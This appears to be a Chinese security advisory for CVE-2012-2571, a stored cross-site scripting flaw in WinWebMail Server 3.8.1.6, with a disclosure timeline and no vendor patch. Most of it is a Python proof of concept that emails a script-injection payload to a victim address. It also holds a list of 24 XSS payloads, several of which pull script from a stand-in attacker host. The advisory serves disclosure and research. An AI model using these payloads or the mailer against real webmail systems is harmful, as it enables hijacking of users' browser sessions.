发布日期:2012-08-09
更新日期:2012-08-13
受影响系统:
WinWebMail Server WinWebMail Server 3.x
描述:
--------------------------------------------------------------------------------
CVE ID: CVE-2012-2571
WinWebMail Server是Windows平台上的多功能Web邮件服务器。
WinWebMail Server 3.8.1.6及其他版本在实现上存在安全漏洞,HTML电子邮件中的输入没有正确过滤即被使用,可被利用插入任意HTML和脚本代码,在Web邮件接口中被打开后,可在受影响站点的用户浏览器会话中执行。
<*来源:loneferret
链接:
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
#!/usr/bin/python
'''
Author: loneferret of Offensive Security
Product: WinWebMail Server
Version: 3.8.1.6
Vendor Site:
Software Download:
Timeline:
29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
23 Jul 2012: Update from CERT: No response from vendor
08 Aug 2012: Public Disclosure
Installed On: Windows Server 2003 SP2
Client Test OS: Window 7 Pro SP1 (x86)
Browser Used: Internet Explorer 9
Injection Point: Body
Injection Payload(s):
1: ';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>=&{}
2: <SCRIPT>alert('XSS')</SCRIPT>
3: <SCRIPT SRC=https://attacker/xss.js></SCRIPT>
4: <SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
5: <DIV>
6: <IFRAME SRC="javascript:alert('XSS');"></IFRAME>
7: exp/*<XSS>
8: <IMG>
9: <XSS>
10: <!--[if gte IE 4]>
<SCRIPT>alert('XSS');</SCRIPT>
<![endif]--
11: <SCRIPT SRC="https://attacker/xss.jpg"></SCRIPT>
12: <HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-
13: </TITLE><SCRIPT>alert("XSS");</SCRIPT>
14: <SCRIPT/XSS SRC="https://attacker/xss.js"></SCRIPT>
15: <<SCRIPT>alert("XSS");//<</SCRIPT>
16: <IMG """><SCRIPT>alert("XSS")</SCRIPT>">
17: <SCRIPT>a=/XSS/
alert(a.source)</SCRIPT>
18: <SCRIPT a=">" SRC="https://attacker/xss.js"></SCRIPT>
19: <SCRIPT ="blah" SRC="https://attacker/xss.js"></SCRIPT>
20: <SCRIPT a="blah" '' SRC="https://attacker/xss.js"></SCRIPT>
21: <SCRIPT "a='>'" SRC="https://attacker/xss.js"></SCRIPT>
22: <SCRIPT a=`>` SRC="https://attacker/xss.js"></SCRIPT>
23: <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="https://attacker/xss.js"></SCRIPT>
24: <SCRIPT a=">'>" SRC="https://attacker/xss.js"></SCRIPT>
'''
import smtplib, urllib2
payload = """<SCRIPT a=`>` SRC="https://attacker/xss.js"></SCRIPT>"""
def sendMail(dstemail, frmemail, smtpsrv, username, password):
msg = "From: hacker@offsec.local\n"
msg += "To: victim@victim.local\n"
msg += 'Date: Today\r\n'
msg += "Subject: Offensive Security\n"
msg += "Content-type: text/html\n\n"
msg += "XSS" + payload + "\r\n\r\n"
server = smtplib.SMTP(smtpsrv)
server.login(username,password)
try:
server.sendmail(frmemail, dstemail, msg)
except Exception, e:
print "[-] Failed to send email:"
print "[*] " + str(e)
server.quit()
username = "hacker@offsec.local"
password = "123456"
dstemail = "victim@victim.local"
frmemail = "hacker@offsec.local"
smtpsrv = "172.16.84.171"
print "[*] Sending Email"
sendMail(dstemail, frmemail, smtpsrv, username, password)
建议:
--------------------------------------------------------------------------------
厂商补丁:
WinWebMail Server
-----------------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本: